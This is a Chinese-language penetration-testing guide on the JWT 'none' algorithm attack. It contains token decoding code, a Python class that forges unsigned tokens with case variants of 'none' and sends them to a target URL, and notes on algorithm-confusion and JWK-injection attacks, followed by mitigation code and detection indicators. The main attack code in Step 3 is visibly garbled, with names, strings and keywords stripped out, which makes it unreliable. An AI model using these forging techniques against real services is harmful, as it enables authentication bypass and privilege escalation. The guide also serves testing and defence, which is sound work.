| name | performing-jwt-none-algorithm-attack |
| description | 通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。 |
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["jwt","none-algorithm","authentication-bypass","token-manipulation","signature-bypass","penetration-testing","owasp","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
执行 JWT None 算法攻击
概述
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
前置条件
- 使用 JWT 进行认证或授权的目标应用
- 能够拦截和修改 HTTP 请求(Burp Suite、mitmproxy)
- Python 3.8+ 及 PyJWT 库,用于令牌构造
- 了解 JWT 结构(Header.Payload.Signature)
- 对目标执行安全测试的授权
JWT 结构
JWT 由三个以点分隔的 Base64URL 编码部分组成:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 签名(Signature)
攻击方法
步骤 1:捕获有效的 JWT
使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
步骤 2:解码并分析令牌
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
步骤 3:构造使用 None 算法的伪造令牌
"""JWT None 算法攻击工具
通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
NONE_VARIANTS = [
"none", "None", "NONE", "nOnE",
"noNe", "NoNe", "nONE", "nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""使用 none 算法和修改后的载荷构造 JWT。"""
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
() -> :
results = []
base_headers = headers {}
variant .NONE_VARIANTS:
modified_payload = (.original_payload)
modified_payload[] =
token = .craft_none_token(modified_payload, variant)
test_headers = (base_headers)
test_headers[] =
:
response = requests.get(
,
headers=test_headers,
timeout=
)
result = {
: variant,
: response.status_code,
: response.status_code == ,
: (response.content),
}
results.append(result)
response.status_code == :
()
:
()
requests.exceptions.RequestException e:
results.append({
: variant, : ,
: , : (e)
})
results
步骤 4:额外的 JWT 攻击变体
算法混淆攻击(RS256 转 HS256):
如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:
- 将
alg 改为 HS256
- 使用公钥作为 HMAC 密钥对令牌签名
- 服务器可能用其公钥作为 HMAC 密钥验证签名
JWK 头部注入(CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<攻击者控制的密钥>",
"e": "AQAB"
}
}
缓解策略
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""使用显式算法白名单验证 JWT。"""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"],
options={
"require": ["exp", "iat", "sub"],
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("无效的令牌算法")
except jwt.ExpiredSignatureError:
raise ValueError("令牌已过期")
except jwt.InvalidTokenError:
raise ValueError("无效的令牌")
检测指标
- 服务器日志中带有
"alg": "none"(或大小写变体)的 JWT 令牌
- 签名段为空或缺失的令牌
- 算法字段相对正常模式的突然变化
- 同一会话中带有修改声明(角色提升)的令牌
- Authorization 头部包含只有两个 Base64 段的令牌
参考资料
- OWASP JWT 测试指南
- PortSwigger JWT None 算法
- HackTricks JWT 漏洞